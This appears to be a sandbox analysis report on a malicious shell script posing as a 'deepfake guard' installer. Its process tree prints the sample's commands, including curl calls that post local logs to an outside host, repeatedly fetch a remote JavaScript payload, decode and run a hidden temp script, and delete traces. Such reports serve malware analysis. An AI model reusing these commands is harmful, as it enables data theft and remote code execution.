Analysis

  • max time kernel
    65s
  • max time network
    9s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    24/06/2026, 09:37

General

  • Target
    _d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
  • Size 27KB
  • Sample260624-llmwasbs41
  • SHA256 d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 29 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
    /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
    1⤵
      PID:644
      • /bin/rm
        rm -f /var/tmp/deepfake_guard.launcher.status
        2⤵
          PID:655
        • /usr/bin/nohup
          nohup bash /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
          2⤵
            PID:661
          • /bin/sleep
            sleep 1
            2⤵
              PID:663
            • /usr/local/sbin/bash
              bash /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
              2⤵
                PID:661
              • /usr/local/bin/bash
                bash /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
                2⤵
                  PID:661
                • /usr/sbin/bash
                  bash /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
                  2⤵
                    PID:661
                  • /usr/bin/bash
                    bash /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
                    2⤵
                      PID:661
                    • /sbin/bash
                      bash /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
                      2⤵
                        PID:661
                      • /bin/bash
                        bash /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
                        2⤵
                          PID:661
                          • /bin/date
                            date "+%Y-%m-%d %H:%M:%S"
                            3⤵
                              PID:667
                            • /usr/bin/curl
                              curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: macos" --data-binary "@/var/tmp/deepfake_guard.log" --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 https://deep-ai-detect.xyz/guard-install-log
                              3⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              PID:669
                            • /bin/mktemp
                              mktemp /var/tmp/.kdm.XXXXXX
                              3⤵
                                PID:718
                              • /usr/bin/base64
                                base64 -d
                                3⤵
                                • Deobfuscate/Decode Files or Information
                                PID:721
                              • /bin/chmod
                                chmod 700 /var/tmp/.kdm.ui3nIg
                                3⤵
                                  PID:724
                                • /bin/bash
                                  bash /var/tmp/.kdm.ui3nIg
                                  3⤵
                                  • Writes file to tmp directory
                                  PID:727
                                  • /bin/date
                                    date "+%Y-%m-%d %H:%M:%S"
                                    4⤵
                                      PID:729
                                    • /bin/mkdir
                                      mkdir -p /var/tmp/deepfake_guard_work
                                      4⤵
                                      • Reads runtime system information
                                      PID:730
                                    • /bin/cat
                                      cat
                                      4⤵
                                        PID:731
                                      • /bin/chmod
                                        chmod +x /var/tmp/deepfake_guard_run.sh
                                        4⤵
                                        • File and Directory Permissions Modification
                                        PID:732
                                    • /bin/rm
                                      rm -f /var/tmp/.kdm.ui3nIg
                                      3⤵
                                        PID:736
                                      • /bin/rm
                                        rm -f /var/tmp/upda_m /var/tmp/upda_w /tmp/upda_m /tmp/upda_w /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
                                        3⤵
                                          PID:737
                                        • /bin/rm
                                          rm -f "/var/tmp/.kdm.*" /var/tmp/deepfake_guard.launcher.status
                                          3⤵
                                            PID:738
                                        • /bin/sleep
                                          sleep 1
                                          2⤵
                                            PID:677
                                          • /bin/sleep
                                            sleep 1
                                            2⤵
                                              PID:689
                                            • /bin/sleep
                                              sleep 1
                                              2⤵
                                                PID:722
                                              • /usr/bin/curl
                                                curl -sk -X POST -H "Content-Type: application/json" -H "X-Guard-Platform: macos" -d "{\"ok\":true,\"upload\":false,\"exitCode\":0,\"message\":\"payload_ready\",\"platform\":\"macos\"}" --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 https://deep-ai-detect.xyz/guard-launcher-result
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                PID:743
                                            • /bin/bash
                                              bash /var/tmp/deepfake_guard_run.sh
                                              1⤵
                                                PID:733
                                                • /bin/mkdir
                                                  mkdir /var/tmp/deepfake_guard.lock.d
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:739
                                                • /bin/mkdir
                                                  mkdir -p /var/tmp/deepfake_guard_work
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:740
                                                • /bin/date
                                                  date "+%Y-%m-%d %H:%M:%S"
                                                  2⤵
                                                    PID:741
                                                  • /bin/sleep
                                                    sleep 0.5
                                                    2⤵
                                                      PID:742
                                                    • /bin/date
                                                      date "+%Y-%m-%d %H:%M:%S"
                                                      2⤵
                                                        PID:744
                                                      • /usr/bin/curl
                                                        curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: macos" --data-binary "@/var/tmp/deepfake_guard.log" --connect-timeout 30 --max-time 60 --retry 3 --retry-all-errors --retry-delay 3 https://deep-ai-detect.xyz/guard-install-log
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        PID:745
                                                      • /bin/mkdir
                                                        mkdir -p /var/tmp/deepfake_guard_work
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:748
                                                      • /bin/sleep
                                                        sleep 60
                                                        2⤵
                                                          PID:749
                                                        • /bin/date
                                                          date "+%Y-%m-%d %H:%M:%S"
                                                          2⤵
                                                            PID:750
                                                          • /bin/uname
                                                            uname -m
                                                            2⤵
                                                              PID:754
                                                            • /usr/bin/head
                                                              head -1
                                                              2⤵
                                                                PID:757
                                                              • /usr/bin/find
                                                                find /var/tmp/deepfake_guard_work -type f -path "*/bin/node"
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:756
                                                              • /usr/bin/node
                                                                /usr/bin/node -v
                                                                2⤵
                                                                  PID:760
                                                                • /usr/bin/node
                                                                  /usr/bin/node -v
                                                                  2⤵
                                                                    PID:778
                                                                  • /bin/date
                                                                    date "+%Y-%m-%d %H:%M:%S"
                                                                    2⤵
                                                                      PID:785
                                                                    • /bin/date
                                                                      date "+%Y-%m-%d %H:%M:%S"
                                                                      2⤵
                                                                        PID:786
                                                                      • /bin/rm
                                                                        rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
                                                                        2⤵
                                                                          PID:790
                                                                        • /bin/date
                                                                          date "+%Y-%m-%d %H:%M:%S"
                                                                          2⤵
                                                                            PID:792
                                                                          • /bin/rm
                                                                            rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
                                                                            2⤵
                                                                              PID:794
                                                                            • /usr/bin/curl
                                                                              curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              PID:796
                                                                            • /bin/date
                                                                              date "+%Y-%m-%d %H:%M:%S"
                                                                              2⤵
                                                                                PID:802
                                                                              • /bin/sleep
                                                                                sleep 2
                                                                                2⤵
                                                                                  PID:803
                                                                                • /bin/date
                                                                                  date "+%Y-%m-%d %H:%M:%S"
                                                                                  2⤵
                                                                                    PID:805
                                                                                  • /bin/rm
                                                                                    rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
                                                                                    2⤵
                                                                                      PID:806
                                                                                    • /usr/bin/curl
                                                                                      curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
                                                                                      2⤵
                                                                                      • Checks CPU configuration
                                                                                      • Reads runtime system information
                                                                                      PID:807
                                                                                    • /bin/date
                                                                                      date "+%Y-%m-%d %H:%M:%S"
                                                                                      2⤵
                                                                                        PID:809
                                                                                      • /bin/sleep
                                                                                        sleep 3
                                                                                        2⤵
                                                                                          PID:810
                                                                                        • /bin/date
                                                                                          date "+%Y-%m-%d %H:%M:%S"
                                                                                          2⤵
                                                                                            PID:814
                                                                                          • /bin/rm
                                                                                            rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
                                                                                            2⤵
                                                                                              PID:815
                                                                                            • /usr/bin/curl
                                                                                              curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
                                                                                              2⤵
                                                                                              • Checks CPU configuration
                                                                                              • Reads runtime system information
                                                                                              PID:816
                                                                                            • /bin/date
                                                                                              date "+%Y-%m-%d %H:%M:%S"
                                                                                              2⤵
                                                                                                PID:818
                                                                                              • /bin/sleep
                                                                                                sleep 4
                                                                                                2⤵
                                                                                                  PID:819
                                                                                                • /bin/date
                                                                                                  date "+%Y-%m-%d %H:%M:%S"
                                                                                                  2⤵
                                                                                                    PID:821
                                                                                                  • /bin/rm
                                                                                                    rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
                                                                                                    2⤵
                                                                                                      PID:822
                                                                                                    • /usr/bin/curl
                                                                                                      curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
                                                                                                      2⤵
                                                                                                      • Checks CPU configuration
                                                                                                      • Reads runtime system information
                                                                                                      PID:823
                                                                                                    • /bin/date
                                                                                                      date "+%Y-%m-%d %H:%M:%S"
                                                                                                      2⤵
                                                                                                        PID:825
                                                                                                      • /bin/sleep
                                                                                                        sleep 5
                                                                                                        2⤵
                                                                                                          PID:826
                                                                                                        • /bin/date
                                                                                                          date "+%Y-%m-%d %H:%M:%S"
                                                                                                          2⤵
                                                                                                            PID:830
                                                                                                          • /bin/rm
                                                                                                            rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
                                                                                                            2⤵
                                                                                                              PID:831
                                                                                                            • /usr/bin/curl
                                                                                                              curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
                                                                                                              2⤵
                                                                                                              • Checks CPU configuration
                                                                                                              • Reads runtime system information
                                                                                                              PID:832
                                                                                                            • /bin/date
                                                                                                              date "+%Y-%m-%d %H:%M:%S"
                                                                                                              2⤵
                                                                                                                PID:834
                                                                                                              • /bin/sleep
                                                                                                                sleep 6
                                                                                                                2⤵
                                                                                                                  PID:835
                                                                                                                • /bin/date
                                                                                                                  date "+%Y-%m-%d %H:%M:%S"
                                                                                                                  2⤵
                                                                                                                    PID:837
                                                                                                                  • /bin/rm
                                                                                                                    rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
                                                                                                                    2⤵
                                                                                                                      PID:838
                                                                                                                    • /usr/bin/curl
                                                                                                                      curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
                                                                                                                      2⤵
                                                                                                                      • Checks CPU configuration
                                                                                                                      • Reads runtime system information
                                                                                                                      PID:839
                                                                                                                    • /bin/date
                                                                                                                      date "+%Y-%m-%d %H:%M:%S"
                                                                                                                      2⤵
                                                                                                                        PID:841
                                                                                                                      • /bin/sleep
                                                                                                                        sleep 7
                                                                                                                        2⤵
                                                                                                                          PID:842
                                                                                                                        • /bin/date
                                                                                                                          date "+%Y-%m-%d %H:%M:%S"
                                                                                                                          2⤵
                                                                                                                            PID:849
                                                                                                                          • /bin/rm
                                                                                                                            rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
                                                                                                                            2⤵
                                                                                                                              PID:850
                                                                                                                            • /usr/bin/curl
                                                                                                                              curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
                                                                                                                              2⤵
                                                                                                                              • Checks CPU configuration
                                                                                                                              • Reads runtime system information
                                                                                                                              PID:851
                                                                                                                            • /bin/date
                                                                                                                              date "+%Y-%m-%d %H:%M:%S"
                                                                                                                              2⤵
                                                                                                                                PID:853
                                                                                                                              • /bin/sleep
                                                                                                                                sleep 8
                                                                                                                                2⤵
                                                                                                                                  PID:854
                                                                                                                                • /bin/date
                                                                                                                                  date "+%Y-%m-%d %H:%M:%S"
                                                                                                                                  2⤵
                                                                                                                                    PID:858
                                                                                                                                  • /bin/rm
                                                                                                                                    rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
                                                                                                                                    2⤵
                                                                                                                                      PID:859
                                                                                                                                    • /usr/bin/curl
                                                                                                                                      curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard_alt.js https://deep-ai-detect.xyz/install_guard_alt.js
                                                                                                                                      2⤵
                                                                                                                                      • Checks CPU configuration
                                                                                                                                      • Reads runtime system information
                                                                                                                                      PID:860
                                                                                                                                    • /bin/date
                                                                                                                                      date "+%Y-%m-%d %H:%M:%S"
                                                                                                                                      2⤵
                                                                                                                                        PID:862
                                                                                                                                      • /bin/rm
                                                                                                                                        rm -f /var/tmp/deepfake_guard_work/install_guard_alt.js
                                                                                                                                        2⤵
                                                                                                                                          PID:863
                                                                                                                                        • /bin/date
                                                                                                                                          date "+%Y-%m-%d %H:%M:%S"
                                                                                                                                          2⤵
                                                                                                                                            PID:864
                                                                                                                                          • /bin/date
                                                                                                                                            date "+%Y-%m-%d %H:%M:%S"
                                                                                                                                            2⤵
                                                                                                                                              PID:866
                                                                                                                                            • /bin/sleep
                                                                                                                                              sleep 0.5
                                                                                                                                              2⤵
                                                                                                                                                PID:867
                                                                                                                                              • /bin/date
                                                                                                                                                date "+%Y-%m-%d %H:%M:%S"
                                                                                                                                                2⤵
                                                                                                                                                  PID:869
                                                                                                                                                • /usr/bin/curl
                                                                                                                                                  curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: macos" --data-binary "@/var/tmp/deepfake_guard.log" --connect-timeout 30 --max-time 60 --retry 3 --retry-all-errors --retry-delay 3 https://deep-ai-detect.xyz/guard-install-log
                                                                                                                                                  2⤵
                                                                                                                                                  • Checks CPU configuration
                                                                                                                                                  • Reads runtime system information
                                                                                                                                                  PID:870
                                                                                                                                                • /bin/rm
                                                                                                                                                  rm -f /var/tmp/upda_m /var/tmp/upda_w /tmp/upda_m /tmp/upda_w
                                                                                                                                                  2⤵
                                                                                                                                                    PID:871
                                                                                                                                                  • /bin/rm
                                                                                                                                                    rm -f /tmp/_d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45.sh
                                                                                                                                                    2⤵
                                                                                                                                                      PID:872
                                                                                                                                                    • /bin/rm
                                                                                                                                                      rm -f /var/tmp/deepfake_guard.launcher.status "/var/tmp/.kdm.*"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:873
                                                                                                                                                      • /bin/rm
                                                                                                                                                        rm -f /var/tmp/deepfake_guard_run.sh
                                                                                                                                                        2⤵
                                                                                                                                                          PID:874
                                                                                                                                                        • /bin/rm
                                                                                                                                                          rm -rf /var/tmp/deepfake_guard_work
                                                                                                                                                          2⤵
                                                                                                                                                            PID:875
                                                                                                                                                          • /bin/rm
                                                                                                                                                            rm -rf /var/tmp/deepfake_guard.lock.d
                                                                                                                                                            2⤵
                                                                                                                                                              PID:876

                                                                                                                                                          Network

                                                                                                                                                                MITRE ATT&CK Enterprise v16

                                                                                                                                                                Replay Monitor

                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                Downloads

                                                                                                                                                                sh-thd.6Cxwkt

                                                                                                                                                                • Path /tmp/sh-thd.6Cxwkt
                                                                                                                                                                • Size 12KB
                                                                                                                                                                • SHA256 56c488aced855e7ff5327bc51769e98903d8a47b2d70afe54c172b7908b3c1ca
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                                                .kdm.ui3nIg

                                                                                                                                                                • Path /var/tmp/.kdm.ui3nIg
                                                                                                                                                                • Size 14KB
                                                                                                                                                                • SHA256 5abdab7630157f7eb5c59e2d394853be6ba1a38b986ce8ff70987bc5dec2fcf9
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                                                deepfake_guard.launcher.status

                                                                                                                                                                • Path /var/tmp/deepfake_guard.launcher.status
                                                                                                                                                                • Size 20B
                                                                                                                                                                • SHA256 9cacfd988fb50bc7468779e85c044792b108b5fb837c1b8f6d159ab96de666a8
                                                                                                                                                                • MD5 SHA1 SHA512

                                                                                                                                                                pid

                                                                                                                                                                • Path /var/tmp/deepfake_guard.lock.d/pid
                                                                                                                                                                • Size 4B
                                                                                                                                                                • SHA256 623a358def361d458e75ac23f59b239feaab7a8fd03603c21618d82c0ae9973c
                                                                                                                                                                • MD5 SHA1 SHA512